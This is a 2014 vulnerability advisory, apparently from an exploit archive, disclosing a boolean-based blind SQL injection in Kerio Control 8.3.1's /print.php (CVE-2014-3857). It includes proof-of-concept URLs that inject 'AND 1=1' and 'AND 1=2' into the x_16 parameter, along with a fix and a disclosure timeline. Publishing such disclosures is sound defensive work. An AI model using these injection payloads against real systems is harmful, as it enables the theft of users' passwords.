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Kerio Control 8.3.1 Blind SQL Injection

Kerio Control 8.3.1 Blind SQL Injection
Posted Jul 2, 2014
Authored by Khashayar Fereidani

Kerio Control versions 8.3.1 and below suffer from a boolean-based blind remote SQL injection vulnerability.

tags | exploit, remote, sql injection
advisories | CVE-2014-3857
MD5 | bf2eb00f2fdb16408f68e4c6eddfc14f

Kerio Control 8.3.1 Blind SQL Injection

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Document Title: 
======================
Kerio Control <= 8.3.1 Boolean-based blind SQL Injection

Primary Informations:
======================

Product Name: Kerio Control
Software Description: Kerio Control brings together multiple capabilities
including a network firewall and router, intrusion detection and
prevention (IPS), gateway anti-virus, VPN and content filtering. These
comprehensive capabilities and unmatched deployment flexibility make
Kerio Control the ideal choice for small and mid-sized businesses.
Affected Version: Latest Version - 8.3.1 (released on 2014-05-20)
Vendor Website: http://kerio.com
Vulnerability Type: Boolean-based blind SQL Injection
Severity Level: Very High
Exploitation Technique: Remote
CVE-ID: CVE-2014-3857
Discovered By: Khashayar Fereidani
Main Reference: http://fereidani.com/articles/show/76_kerio_control_8_3_1_boolean_based_blind_sql_injection
Researcher's Websites: http://fereidani.com http://fereidani.ir
http://und3rfl0w.com http://ircrash.com
Researcher's Email: info [ a t ] fereidani [ d o t ] com


Technical Details:
=======================

Kerio Control suffers from a SQL Injection Vulnerability which can lead to gain users
sensitive informations like passwords , to use this vulnerability attacker need a
valid client username and password .

Vulnerable path: /print.php
Vulnerable variables: x_16 and x_17
HTTP Method: GET

Proof Of Concept:
=======================

Blind Test:
TRUE: https://[SERVER IP]:4081/print.php?x_w=overall&x_14=L1&x_15=stats&x_16=16221 AND 1=1&x_17=16221&x_18=-1&x_1b=&x_1a=&x_1l=[ VALID SESSION]&x_3k={%27x_fj%27%3A16220%2C+%27x_fk%27%3A+16220}&x_3l={%27x_fj%27%3A16222%2C+%27x_fk%27%3A+16222}&x_1c=&x_1e=-270&x_1f=-1&x_3m=0&x_11=overall&x_12=individual&x_13=x_2l
FALSE: https://[SERVER IP]:4081/print.php?x_w=overall&x_14=L1&x_15=stats&x_16=16221 AND 1=2&x_17=16221&x_18=-1&x_1b=&x_1a=&x_1l=[ VALID SESSION]&x_3k={%27x_fj%27%3A16220%2C+%27x_fk%27%3A+16220}&x_3l={%27x_fj%27%3A16222%2C+%27x_fk%27%3A+16222}&x_1c=&x_1e=-270&x_1f=-1&x_3m=0&x_11=overall&x_12=individual&x_13=x_2l


Solution:
========================
Valid escaping variables or type checking for integer


Exploit:
========================
Private


Vulnerability Disclosure Timeline:
==================================
May 30 2014 - Disclosure
May 31 2014 - Received a CVE ID
May 31 2014 - Initial Report to Kerio Security Team
June 3 2014 - Support team replied fix is planned to be included in a future release
June 30 2014 - Patched
July 1 2014 - Publication


Khashayar Fereidani - http://fereidani.com

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